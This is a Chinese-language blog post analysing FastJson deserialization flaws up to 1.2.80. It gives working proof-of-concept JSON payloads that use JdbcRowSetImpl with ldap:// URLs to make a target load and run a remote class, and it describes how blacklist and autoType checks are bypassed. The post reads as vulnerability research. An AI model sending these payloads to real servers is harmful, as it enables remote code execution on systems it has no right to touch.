我的理解,从最开始的版本分析漏洞,后面的补丁都是在原先基础上打的,再去判断绕过。
DefaultJSONParser.class:
做{}的提取
循环分割完内容,就开始判断字段:
@Type进入 判断内容内
然后分割,装入容器然后在分别使用
然后进入ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
clazz就是分割后的com.sun.rowset.JdbcRowSetImpl,然后导入反序列化。
后面调用了反射去使用get,set方法,太多了没有跟下去,但是反序列化后一切就明了了。
然后寻找可以在get,set方法内执行有可以用函数的类,利用者找到了com.sun.rowset.JdbcRowSetImpl
因为他的set
调用了cnnect函数->
lookup,jndi的一个接口是负责用特点协议访问远程。
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
getDataSourceName()-》
就是赋值dataSourceName的值。
从而加载远程的类
CC链大致关键流程:
parseObject->parse->key(@type)->TypeUtils.loadClass->ObjectDeserializer(反序列化)->
JdbcRowSetImpl->setDataSourceName->dataSource->setAutoCommit->connect->lookup(JNDI注入)
FastJson 1.2.41 CC链分析:
利用条件:
1、开启autoTypeSupport
2、加L和;才能成功
poc:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String userStr = “{\”@type\”:\”Lcom.sun.rowset.JdbcRowSetImpl;\”,\”dataSourceName\”:\”ldap://192.168.0.102:1389/qsktga\”, \”autoCommit\”:1}”;
1.为什么加入setAutoTypeSupport(true)
大概逻辑就说autoTypeSupport不为真就不会进入返回clazz逻辑,就无法获得Lcom.sun.rowset.JdbcRowSetImpl
1、加L和;
黑名单绕过
程序去掉L和;
后面逻辑和上面一致了;
CC链大致关键流程:(绕过黑名单前加”L”和后加”;”)
checkAutoType->denyList[i]->this.config.getDeserializer(clazz)->loadClass->newClassName
通杀方案:1.2.25-1.2.47(checkAutotype绕过):
POC:
testStr={
“a”:{
“@type”:”java.lang.Class”,
“val”:”com.sun.rowset.JdbcRowSetImpl”
},
“b”:{
“@type”:”com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:”ldap://192.168.139.1:1389/lvkr9r”,
“autoCommit”:true
}
}
CC链大致关键流程:
FastJson有一个全局缓存机制:在解析json数据前会先加载相关配置,调用addBaseClassMappings()和loadClass()函数将一些基础类和第三方库存放到mappings中(mappings是ConcurrentMap类,所以我们在一次连接中传入两个键值a和b,之后在解析时,如果没有开启autotype,会从mappings或deserializers.findClass()函数中获取反序列化的对应类,如果有,则直接返回绕过了黑名单。利用的是java.lang.Class类,其反序列化处理类MiscCodec类可以将任意类加载到mappings中,实现了目标。
第一步利用java.lang.Class将恶意类加载到mappings中;
第二步从在checkAutoType内部,没有开启autotype,直接从mappings中获取mappings中取出恶意类并绕过黑名单进行了反序列化。
我这里就不跟代码了:口头诉说把:
checkAutoType->denyList[i]->this.config.getDeserializer(clazz)->loadClass->newClassName
过滤流程大家跟上面都应该懂了,他是先黑名单如果在黑名单内,在去判断AutoTypeSupport是否开启,如果没有开启直接抛出异常。
所以这里利用他的黑名单空缺,先反序列化黑名单类,在mapping缓存中压入原本应该是黑名单的com.sun.rowset.JdbcRowSetImpl类,然后因为AutoTypeSupport没有开启直接从mappings获取
然后就是正常的fastjson流程了
https://xz.aliyun.com/t/12728
https://mp.weixin.qq.com/s/SOKLC_No0hV9RhAavF2hcw
1.2.24及以下没有对序列化的类做校验,导致漏洞产生
1.2.25-1.2.41增加了黑名单限制,更改autoType默认为关闭选项。
1.2.42版本是对1.2.41及以下版本的黑名单绕过,代码内更新字符串黑名单hash方式
1.2.43版本是对1.2.42及以下版本的黑名单绕过
1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用
1.2.47版本 利用fastjson处理Class类时的操作,将恶意类加载到缓存中,实现攻击
1.2.62-1.2.67版本Class不会再往缓存中加载恶意类,寻找新的利用链进行突破
1.2.68版本,使用期望类AutoCloseable来绕过fastjson校验
1.2.72-1.2.80使用期望类Throwable的子类,进行绕过
注:ZeroPointZero安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
原创文章,作者:guozi,如若转载,请注明出处:https://www.sudun.com/ask/87815.html